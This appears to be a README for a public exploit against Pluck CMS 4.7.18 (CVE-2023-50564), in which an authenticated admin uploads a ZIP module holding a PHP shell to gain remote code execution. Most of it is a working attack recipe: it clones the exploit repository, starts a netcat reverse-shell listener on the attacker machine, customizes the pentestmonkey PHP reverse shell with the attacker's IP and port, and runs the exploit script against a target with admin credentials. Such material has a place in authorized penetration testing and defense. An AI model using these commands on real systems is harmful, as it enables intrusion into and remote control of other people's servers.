
Pluck v4.7.18 - Remote Code Execution (RCE)
This exploit allows an authenticated admin in Pluck CMS v4.7.18 to upload a malicious ZIP module containing a PHP shell, resulting in remote code execution (RCE).
installmodule endpointgit clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt
python3 exploit.py -h
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
First, reverse shell listener should be started on attacker machine(this tab on the terminal should not be terminated):
nc -nvlp <specify port>
Then, download php reverse shell from https://github.com/pentestmonkey/php-reverse-shell and customize it according to attacker machine. (IP,port)
Run the exploit code on another tab:
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php